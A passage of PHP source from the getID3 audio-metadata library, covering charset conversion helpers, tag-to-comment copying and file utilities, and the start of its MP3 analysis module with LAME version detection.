				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? throw some kind of warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::BigEndian2String($charval, 2) : "\x00".'?');
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE
	 *
	 * @param string $string
	 * @param bool   $bom
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16le($string, $bom=false) {
		$newcharstring = '';
		if ($bom) {
			$newcharstring .= "\xFF\xFE";
		}
		$offset = 0;
		$stringlength = strlen($string);
		while ($offset < $stringlength) {
			if ((ord($string[$offset]) | 0x07) == 0xF7) {
				// 11110bbb 10bbbbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x07) << 18) &
						   ((ord($string[($offset + 1)]) & 0x3F) << 12) &
						   ((ord($string[($offset + 2)]) & 0x3F) <<  6) &
							(ord($string[($offset + 3)]) & 0x3F);
				$offset += 4;
			} elseif ((ord($string[$offset]) | 0x0F) == 0xEF) {
				// 1110bbbb 10bbbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x0F) << 12) &
						   ((ord($string[($offset + 1)]) & 0x3F) <<  6) &
							(ord($string[($offset + 2)]) & 0x3F);
				$offset += 3;
			} elseif ((ord($string[$offset]) | 0x1F) == 0xDF) {
				// 110bbbbb 10bbbbbb
				$charval = ((ord($string[($offset + 0)]) & 0x1F) <<  6) &
							(ord($string[($offset + 1)]) & 0x3F);
				$offset += 2;
			} elseif ((ord($string[$offset]) | 0x7F) == 0x7F) {
				// 0bbbbbbb
				$charval = ord($string[$offset]);
				$offset += 1;
			} else {
				// error? maybe throw some warning here?
				$charval = false;
				$offset += 1;
			}
			if ($charval !== false) {
				$newcharstring .= (($charval < 65536) ? self::LittleEndian2String($charval, 2) : '?'."\x00");
			}
		}
		return $newcharstring;
	}

	/**
	 * UTF-8 => UTF-16LE (BOM)
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf8_utf16($string) {
		return self::iconv_fallback_utf8_utf16le($string, true);
	}

	/**
	 * UTF-16BE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_utf8($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_utf8($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= self::iconv_fallback_int_utf8($charval);
		}
		return $newcharstring;
	}

	/**
	 * UTF-16BE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16be_iso88591($string) {
		if (substr($string, 0, 2) == "\xFE\xFF") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::BigEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16LE => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16le_iso88591($string) {
		if (substr($string, 0, 2) == "\xFF\xFE") {
			// strip BOM
			$string = substr($string, 2);
		}
		$newcharstring = '';
		for ($i = 0; $i < strlen($string); $i += 2) {
			$charval = self::LittleEndian2Int(substr($string, $i, 2));
			$newcharstring .= (($charval < 256) ? chr($charval) : '?');
		}
		return $newcharstring;
	}

	/**
	 * UTF-16 (BOM) => ISO-8859-1
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_iso88591($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_iso88591(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_iso88591(substr($string, 2));
		}
		return $string;
	}

	/**
	 * UTF-16 (BOM) => UTF-8
	 *
	 * @param string $string
	 *
	 * @return string
	 */
	public static function iconv_fallback_utf16_utf8($string) {
		$bom = substr($string, 0, 2);
		if ($bom == "\xFE\xFF") {
			return self::iconv_fallback_utf16be_utf8(substr($string, 2));
		} elseif ($bom == "\xFF\xFE") {
			return self::iconv_fallback_utf16le_utf8(substr($string, 2));
		}
		return $string;
	}

	/**
	 * @param string $in_charset
	 * @param string $out_charset
	 * @param string $string
	 *
	 * @return string
	 * @throws Exception
	 */
	public static function iconv_fallback($in_charset, $out_charset, $string) {

		if ($in_charset == $out_charset) {
			return $string;
		}

		// mb_convert_encoding() available
		if (function_exists('mb_convert_encoding')) {
			if ((strtoupper($in_charset) == 'UTF-16') && (substr($string, 0, 2) != "\xFE\xFF") && (substr($string, 0, 2) != "\xFF\xFE")) {
				// if BOM missing, mb_convert_encoding will mishandle the conversion, assume UTF-16BE and prepend appropriate BOM
				$string = "\xFF\xFE".$string;
			}
			if ((strtoupper($in_charset) == 'UTF-16') && (strtoupper($out_charset) == 'UTF-8')) {
				if (($string == "\xFF\xFE") || ($string == "\xFE\xFF")) {
					// if string consists of only BOM, mb_convert_encoding will return the BOM unmodified
					return '';
				}
			}
			if ($converted_string = @mb_convert_encoding($string, $out_charset, $in_charset)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}
			return $string;

		// iconv() available
		} elseif (function_exists('iconv')) {
			if ($converted_string = @iconv($in_charset, $out_charset.'//TRANSLIT', $string)) {
				switch ($out_charset) {
					case 'ISO-8859-1':
						$converted_string = rtrim($converted_string, "\x00");
						break;
				}
				return $converted_string;
			}

			// iconv() may sometimes fail with "illegal character in input string" error message
			// and return an empty string, but returning the unconverted string is more useful
			return $string;
		}


		// neither mb_convert_encoding or iconv() is available
		static $ConversionFunctionList = array();
		if (empty($ConversionFunctionList)) {
			$ConversionFunctionList['ISO-8859-1']['UTF-8']    = 'iconv_fallback_iso88591_utf8';
			$ConversionFunctionList['ISO-8859-1']['UTF-16']   = 'iconv_fallback_iso88591_utf16';
			$ConversionFunctionList['ISO-8859-1']['UTF-16BE'] = 'iconv_fallback_iso88591_utf16be';
			$ConversionFunctionList['ISO-8859-1']['UTF-16LE'] = 'iconv_fallback_iso88591_utf16le';
			$ConversionFunctionList['UTF-8']['ISO-8859-1']    = 'iconv_fallback_utf8_iso88591';
			$ConversionFunctionList['UTF-8']['UTF-16']        = 'iconv_fallback_utf8_utf16';
			$ConversionFunctionList['UTF-8']['UTF-16BE']      = 'iconv_fallback_utf8_utf16be';
			$ConversionFunctionList['UTF-8']['UTF-16LE']      = 'iconv_fallback_utf8_utf16le';
			$ConversionFunctionList['UTF-16']['ISO-8859-1']   = 'iconv_fallback_utf16_iso88591';
			$ConversionFunctionList['UTF-16']['UTF-8']        = 'iconv_fallback_utf16_utf8';
			$ConversionFunctionList['UTF-16LE']['ISO-8859-1'] = 'iconv_fallback_utf16le_iso88591';
			$ConversionFunctionList['UTF-16LE']['UTF-8']      = 'iconv_fallback_utf16le_utf8';
			$ConversionFunctionList['UTF-16BE']['ISO-8859-1'] = 'iconv_fallback_utf16be_iso88591';
			$ConversionFunctionList['UTF-16BE']['UTF-8']      = 'iconv_fallback_utf16be_utf8';
		}
		if (isset($ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)])) {
			$ConversionFunction = $ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)];
			return self::$ConversionFunction($string);
		}
		throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset);
	}

	/**
	 * @param mixed  $data
	 * @param string $charset
	 *
	 * @return mixed
	 */
	public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') {
		if (is_string($data)) {
			return self::MultiByteCharString2HTML($data, $charset);
		} elseif (is_array($data)) {
			$return_data = array();
			foreach ($data as $key => $value) {
				$return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset);
			}
			return $return_data;
		}
		// integer, float, objects, resources, etc
		return $data;
	}

	/**
	 * @param string|int|float $string
	 * @param string           $charset
	 *
	 * @return string
	 */
	public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') {
		$string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string
		$HTMLstring = '';

		switch (strtolower($charset)) {
			case '1251':
			case '1252':
			case '866':
			case '932':
			case '936':
			case '950':
			case 'big5':
			case 'big5-hkscs':
			case 'cp1251':
			case 'cp1252':
			case 'cp866':
			case 'euc-jp':
			case 'eucjp':
			case 'gb2312':
			case 'ibm866':
			case 'iso-8859-1':
			case 'iso-8859-15':
			case 'iso8859-1':
			case 'iso8859-15':
			case 'koi8-r':
			case 'koi8-ru':
			case 'koi8r':
			case 'shift_jis':
			case 'sjis':
			case 'win-1251':
			case 'windows-1251':
			case 'windows-1252':
				$HTMLstring = htmlentities($string, ENT_COMPAT, $charset);
				break;

			case 'utf-8':
				$strlen = strlen($string);
				for ($i = 0; $i < $strlen; $i++) {
					$char_ord_val = ord($string[$i]);
					$charval = 0;
					if ($char_ord_val < 0x80) {
						$charval = $char_ord_val;
					} elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F  &&  $i+3 < $strlen) {
						$charval  = (($char_ord_val & 0x07) << 18);
						$charval += ((ord($string[++$i]) & 0x3F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xE0) >> 5) == 0x07  &&  $i+2 < $strlen) {
						$charval  = (($char_ord_val & 0x0F) << 12);
						$charval += ((ord($string[++$i]) & 0x3F) << 6);
						$charval +=  (ord($string[++$i]) & 0x3F);
					} elseif ((($char_ord_val & 0xC0) >> 6) == 0x03  &&  $i+1 < $strlen) {
						$charval  = (($char_ord_val & 0x1F) << 6);
						$charval += (ord($string[++$i]) & 0x3F);
					}
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= htmlentities(chr($charval));
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16le':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::LittleEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			case 'utf-16be':
				for ($i = 0; $i < strlen($string); $i += 2) {
					$charval = self::BigEndian2Int(substr($string, $i, 2));
					if (($charval >= 32) && ($charval <= 127)) {
						$HTMLstring .= chr($charval);
					} else {
						$HTMLstring .= '&#'.$charval.';';
					}
				}
				break;

			default:
				$HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()';
				break;
		}
		return $HTMLstring;
	}

	/**
	 * @param int $namecode
	 *
	 * @return string
	 */
	public static function RGADnameLookup($namecode) {
		static $RGADname = array();
		if (empty($RGADname)) {
			$RGADname[0] = 'not set';
			$RGADname[1] = 'Track Gain Adjustment';
			$RGADname[2] = 'Album Gain Adjustment';
		}

		return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : '');
	}

	/**
	 * @param int $originatorcode
	 *
	 * @return string
	 */
	public static function RGADoriginatorLookup($originatorcode) {
		static $RGADoriginator = array();
		if (empty($RGADoriginator)) {
			$RGADoriginator[0] = 'unspecified';
			$RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer';
			$RGADoriginator[2] = 'set by user';
			$RGADoriginator[3] = 'determined automatically';
		}

		return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : '');
	}

	/**
	 * @param int $rawadjustment
	 * @param int $signbit
	 *
	 * @return float
	 */
	public static function RGADadjustmentLookup($rawadjustment, $signbit) {
		$adjustment = (float) $rawadjustment / 10;
		if ($signbit == 1) {
			$adjustment *= -1;
		}
		return $adjustment;
	}

	/**
	 * @param int $namecode
	 * @param int $originatorcode
	 * @param int $replaygain
	 *
	 * @return string
	 */
	public static function RGADgainString($namecode, $originatorcode, $replaygain) {
		if ($replaygain < 0) {
			$signbit = '1';
		} else {
			$signbit = '0';
		}
		$storedreplaygain = intval(round($replaygain * 10));
		$gainstring  = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT);
		$gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT);
		$gainstring .= $signbit;
		$gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT);

		return $gainstring;
	}

	/**
	 * @param float $amplitude
	 *
	 * @return float
	 */
	public static function RGADamplitude2dB($amplitude) {
		return 20 * log10($amplitude);
	}

	/**
	 * @param string $imgData
	 * @param array  $imageinfo
	 *
	 * @return array|false
	 */
	public static function GetDataImageSize($imgData, &$imageinfo=array()) {
		if (PHP_VERSION_ID >= 50400) {
			$GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo);
			if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) {
				return false;
			}
			$GetDataImageSize['height'] = $GetDataImageSize[0];
			$GetDataImageSize['width'] = $GetDataImageSize[1];
			return $GetDataImageSize;
		}
		static $tempdir = '';
		if (empty($tempdir)) {
			if (function_exists('sys_get_temp_dir')) {
				$tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52
			}

			// yes this is ugly, feel free to suggest a better way
			if (include_once(dirname(__FILE__).'/getid3.php')) {
				$getid3_temp = new getID3();
				if ($getid3_temp_tempdir = $getid3_temp->tempdir) {
					$tempdir = $getid3_temp_tempdir;
				}
				unset($getid3_temp, $getid3_temp_tempdir);
			}
		}
		$GetDataImageSize = false;
		if ($tempfilename = tempnam($tempdir, 'gI3')) {
			if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) {
				fwrite($tmp, $imgData);
				fclose($tmp);
				$GetDataImageSize = @getimagesize($tempfilename, $imageinfo);
				if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) {
					return false;
				}
				$GetDataImageSize['height'] = $GetDataImageSize[0];
				$GetDataImageSize['width']  = $GetDataImageSize[1];
			}
			unlink($tempfilename);
		}
		return $GetDataImageSize;
	}

	/**
	 * @param string $mime_type
	 *
	 * @return string
	 */
	public static function ImageExtFromMime($mime_type) {
		// temporary way, works OK for now, but should be reworked in the future
		return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type);
	}

	/**
	 * @param array $ThisFileInfo
	 * @param bool  $option_tags_html default true (just as in the main getID3 class)
	 *
	 * @return bool
	 */
	public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) {
		// Copy all entries from ['tags'] into common ['comments']
		if (!empty($ThisFileInfo['tags'])) {

			// Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1)
			// and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets
			// To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that
			// the first entries in [comments] are the most correct and the "bad" ones (if any) come later.
			// https://github.com/JamesHeinrich/getID3/issues/338
			$processLastTagTypes = array('id3v1','riff');
			foreach ($processLastTagTypes as $processLastTagType) {
				if (isset($ThisFileInfo['tags'][$processLastTagType])) {
					// bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings
					$temp = $ThisFileInfo['tags'][$processLastTagType];
					unset($ThisFileInfo['tags'][$processLastTagType]);
					$ThisFileInfo['tags'][$processLastTagType] = $temp;
					unset($temp);
				}
			}
			foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) {
				foreach ($tagarray as $tagname => $tagdata) {
					foreach ($tagdata as $key => $value) {
						if (!empty($value)) {
							if (empty($ThisFileInfo['comments'][$tagname])) {

								// fall through and append value

							} elseif ($tagtype == 'id3v1') {

								$newvaluelength = strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength = strlen(trim($existingvalue));
									if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) {
										// new value is identical but shorter-than (or equal-length to) one already in comments - skip
										break 2;
									}

									if (function_exists('mb_convert_encoding')) {
										if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) {
											// value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1.
											// As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character
											break 2;
										}
									}
								}

							} elseif (!is_array($value)) {

								$newvaluelength   =    strlen(trim($value));
								$newvaluelengthMB = mb_strlen(trim($value));
								foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) {
									$oldvaluelength   =    strlen(trim($existingvalue));
									$oldvaluelengthMB = mb_strlen(trim($existingvalue));
									if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) {
										// https://github.com/JamesHeinrich/getID3/issues/338
										// check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII)
										// which will usually display unrepresentable characters as "?"
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
									if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) {
										$ThisFileInfo['comments'][$tagname][$existingkey] = trim($value);
										break;
									}
								}

							}
							if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) {
								$value = (is_string($value) ? trim($value) : $value);
								if (!is_int($key) && !ctype_digit($key)) {
									$ThisFileInfo['comments'][$tagname][$key] = $value;
								} else {
									if (!isset($ThisFileInfo['comments'][$tagname])) {
										$ThisFileInfo['comments'][$tagname] = array($value);
									} else {
										$ThisFileInfo['comments'][$tagname][] = $value;
									}
								}
							}
						}
					}
				}
			}

			// attempt to standardize spelling of returned keys
			if (!empty($ThisFileInfo['comments'])) {
				$StandardizeFieldNames = array(
					'tracknumber' => 'track_number',
					'track'       => 'track_number',
				);
				foreach ($StandardizeFieldNames as $badkey => $goodkey) {
					if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) {
						$ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey];
						unset($ThisFileInfo['comments'][$badkey]);
					}
				}
			}

			if ($option_tags_html) {
				// Copy ['comments'] to ['comments_html']
				if (!empty($ThisFileInfo['comments'])) {
					foreach ($ThisFileInfo['comments'] as $field => $values) {
						if ($field == 'picture') {
							// pictures can take up a lot of space, and we don't need multiple copies of them
							// let there be a single copy in [comments][picture], and not elsewhere
							continue;
						}
						foreach ($values as $index => $value) {
							if (is_array($value)) {
								$ThisFileInfo['comments_html'][$field][$index] = $value;
							} else {
								$ThisFileInfo['comments_html'][$field][$index] = str_replace('&#0;', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding']));
							}
						}
					}
				}
			}

		}
		return true;
	}

	/**
	 * @param string $key
	 * @param int    $begin
	 * @param int    $end
	 * @param string $file
	 * @param string $name
	 *
	 * @return string
	 */
	public static function EmbeddedLookup($key, $begin, $end, $file, $name) {

		// Cached
		static $cache;
		if (isset($cache[$file][$name])) {
			return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
		}

		// Init
		$keylength  = strlen($key);
		$line_count = $end - $begin - 7;

		// Open php file
		$fp = fopen($file, 'r');

		// Discard $begin lines
		for ($i = 0; $i < ($begin + 3); $i++) {
			fgets($fp, 1024);
		}

		// Loop thru line
		while (0 < $line_count--) {

			// Read line
			$line = ltrim(fgets($fp, 1024), "\t ");

			// METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key
			//$keycheck = substr($line, 0, $keylength);
			//if ($key == $keycheck)  {
			//	$cache[$file][$name][$keycheck] = substr($line, $keylength + 1);
			//	break;
			//}

			// METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key
			//$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1));
			$explodedLine = explode("\t", $line, 2);
			$ThisKey   = (isset($explodedLine[0]) ? $explodedLine[0] : '');
			$ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : '');
			$cache[$file][$name][$ThisKey] = trim($ThisValue);
		}

		// Close and return
		fclose($fp);
		return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : '');
	}

	/**
	 * @param string $filename
	 * @param string $sourcefile
	 * @param bool   $DieOnFailure
	 *
	 * @return bool
	 * @throws Exception
	 */
	public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) {
		global $GETID3_ERRORARRAY;

		if (file_exists($filename)) {
			if (include_once($filename)) {
				return true;
			} else {
				$diemessage = basename($sourcefile).' depends on '.$filename.', which has errors';
			}
		} else {
			$diemessage = basename($sourcefile).' depends on '.$filename.', which is missing';
		}
		if ($DieOnFailure) {
			throw new Exception($diemessage);
		} else {
			$GETID3_ERRORARRAY[] = $diemessage;
		}
		return false;
	}

	/**
	 * @param string $string
	 *
	 * @return string
	 */
	public static function trimNullByte($string) {
		return trim($string, "\x00");
	}

	/**
	 * @param string $path
	 *
	 * @return float|bool
	 */
	public static function getFileSizeSyscall($path) {
		$commandline = null;
		$filesize = false;

		if (GETID3_OS_ISWINDOWS) {
			if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini:
				$filesystem = new COM('Scripting.FileSystemObject');
				$file = $filesystem->GetFile($path);
				$filesize = $file->Size();
				unset($filesystem, $file);
			} else {
				$commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI';
			}
		} else {
			$commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\'';
		}
		if (isset($commandline)) {
			$output = trim(`$commandline`);
			if (ctype_digit($output)) {
				$filesize = (float) $output;
			}
		}
		return $filesize;
	}

	/**
	 * @param string $filename
	 *
	 * @return string|false
	 */
	public static function truepath($filename) {
		// 2017-11-08: this could use some improvement, patches welcome
		if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) {
			// PHP's built-in realpath function does not work on UNC Windows shares
			$goodpath = array();
			foreach (explode('/', str_replace('\\', '/', $filename)) as $part) {
				if ($part == '.') {
					continue;
				}
				if ($part == '..') {
					if (count($goodpath)) {
						array_pop($goodpath);
					} else {
						// cannot step above this level, already at top level
						return false;
					}
				} else {
					$goodpath[] = $part;
				}
			}
			return implode(DIRECTORY_SEPARATOR, $goodpath);
		}
		return realpath($filename);
	}

	/**
	 * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268)
	 *
	 * @param string $path A path.
	 * @param string $suffix If the name component ends in suffix this will also be cut off.
	 *
	 * @return string
	 */
	public static function mb_basename($path, $suffix = '') {
		$splited = preg_split('#/#', rtrim($path, '/ '));
		return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1);
	}

}
<?php

/////////////////////////////////////////////////////////////////
/// getID3() by James Heinrich <info@getid3.org>               //
//  available at https://github.com/JamesHeinrich/getID3       //
//            or https://www.getid3.org                        //
//            or http://getid3.sourceforge.net                 //
//  see readme.txt for more details                            //
/////////////////////////////////////////////////////////////////
//                                                             //
// module.audio.mp3.php                                        //
// module for analyzing MP3 files                              //
// dependencies: NONE                                          //
//                                                            ///
/////////////////////////////////////////////////////////////////

if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers
	exit;
}


class getid3_mp3 extends getid3_handler
{
	/**
	 * Forces getID3() to scan the file byte-by-byte and log all the valid audio frame headers - extremely slow,
	 * unrecommended, but may provide data from otherwise-unusable files.
	 *
	 * @var bool
	 */
	public $allow_bruteforce = false;

	/**
	 * number of frames to scan to determine if MPEG-audio sequence is valid
	 * Lower this number to 5-20 for faster scanning
	 * Increase this number to 50+ for most accurate detection of valid VBR/CBR mpeg-audio streams
	 *
	 * @var int
	 */
	public $mp3_valid_check_frames = 50;

	/**
	 * @return bool
	 */
	public function Analyze() {
		$info = &$this->getid3->info;

		$initialOffset = $info['avdataoffset'];

		if (!$this->getOnlyMPEGaudioInfo($info['avdataoffset'])) {
			if ($this->allow_bruteforce) {
				$this->error('Rescanning file in BruteForce mode');
				$this->getOnlyMPEGaudioInfoBruteForce();
			}
		}


		if (isset($info['mpeg']['audio']['bitrate_mode'])) {
			$info['audio']['bitrate_mode'] = strtolower($info['mpeg']['audio']['bitrate_mode']);
		}

		$CurrentDataLAMEversionString = null;
		if (((isset($info['id3v2']['headerlength']) && ($info['avdataoffset'] > $info['id3v2']['headerlength'])) || (!isset($info['id3v2']) && ($info['avdataoffset'] > 0) && ($info['avdataoffset'] != $initialOffset)))) {

			$synchoffsetwarning = 'Unknown data before synch ';
			if (isset($info['id3v2']['headerlength'])) {
				$synchoffsetwarning .= '(ID3v2 header ends at '.$info['id3v2']['headerlength'].', then '.($info['avdataoffset'] - $info['id3v2']['headerlength']).' bytes garbage, ';
			} elseif ($initialOffset > 0) {
				$synchoffsetwarning .= '(should be at '.$initialOffset.', ';
			} else {
				$synchoffsetwarning .= '(should be at beginning of file, ';
			}
			$synchoffsetwarning .= 'synch detected at '.$info['avdataoffset'].')';
			if (isset($info['audio']['bitrate_mode']) && ($info['audio']['bitrate_mode'] == 'cbr')) {

				if (!empty($info['id3v2']['headerlength']) && (($info['avdataoffset'] - $info['id3v2']['headerlength']) == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90-3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				} elseif (empty($info['id3v2']['headerlength']) && ($info['avdataoffset'] == $info['mpeg']['audio']['framelength'])) {

					$synchoffsetwarning .= '. This is a known problem with some versions of LAME (3.90 - 3.92) DLL in CBR mode.';
					$info['audio']['codec'] = 'LAME';
					$CurrentDataLAMEversionString = 'LAME3.';

				}

			}
			$this->warning($synchoffsetwarning);

		}

		if (isset($info['mpeg']['audio']['LAME'])) {
			$info['audio']['codec'] = 'LAME';
			if (!empty($info['mpeg']['audio']['LAME']['long_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['long_version'], "\x00");
			} elseif (!empty($info['mpeg']['audio']['LAME']['short_version'])) {
				$info['audio']['encoder'] = rtrim($info['mpeg']['audio']['LAME']['short_version'], "\x00");
			}
		}

		$CurrentDataLAMEversionString = (!empty($CurrentDataLAMEversionString) ? $CurrentDataLAMEversionString : (isset($info['audio']['encoder']) ? $info['audio']['encoder'] : ''));
		if (!empty($CurrentDataLAMEversionString) && (substr($CurrentDataLAMEversionString, 0, 6) == 'LAME3.') && !preg_match('[0-9\)]', substr($CurrentDataLAMEversionString, -1))) {
			// a version number of LAME that does not end with a number like "LAME3.92"
			// or with a closing parenthesis like "LAME3.88 (alpha)"
			// or a version of LAME with the LAMEtag-not-filled-in-DLL-mode bug (3.90-3.92)

			// not sure what the actual last frame length will be, but will be less than or equal to 1441
			$PossiblyLongerLAMEversion_FrameLength = 1441;

			// Not sure what version of LAME this is - look in padding of last frame for longer version string
			$PossibleLAMEversionStringOffset = $info['avdataend'] - $PossiblyLongerLAMEversion_FrameLength;
			$this->fseek($PossibleLAMEversionStringOffset);
			$PossiblyLongerLAMEversion_Data = $this->fread($PossiblyLongerLAMEversion_FrameLength);
			switch (substr($CurrentDataLAMEversionString, -1)) {
				case 'a':
				case 'b':
					// "LAME3.94a" will have a longer version string of "LAME3.94 (alpha)" for example
					// need to trim off "a" to match longer string
					$CurrentDataLAMEversionString = substr($CurrentDataLAMEversionString, 0, -1);
					break;
			}
			if (($PossiblyLongerLAMEversion_String = strstr($PossiblyLongerLAMEversion_Data, $CurrentDataLAMEversionString)) !== false) {
				if (substr($PossiblyLongerLAMEversion_String, 0, strlen($CurrentDataLAMEversionString)) == $CurrentDataLAMEversionString) {
					$PossiblyLongerLAMEversion_NewString = substr($PossiblyLongerLAMEversion_String, 0, strspn($PossiblyLongerLAMEversion_String, 'LAME0123456789., (abcdefghijklmnopqrstuvwxyzJFSOND)')); //"LAME3.90.3"  "LAME3.87 (beta 1, Sep 27 2000)" "LAME3.88 (beta)"
					if (empty($info['audio']['encoder']) || (strlen($PossiblyLongerLAMEversion_NewString) > strlen($info['audio']['encoder']))) {
						if (!empty($info['audio']['encoder']) && !empty($info['mpeg']['audio']['LAME']['short_version']) && ($info['audio']['encoder'] == $info['mpeg']['audio']['LAME']['short_version'])) {
							if (preg_match('#^LAME[0-9\\.]+#', $PossiblyLongerLAMEversion_NewString, $matches)) {
								// "LAME3.100" -> "LAME3.100.1", but avoid including "(alpha)" and similar
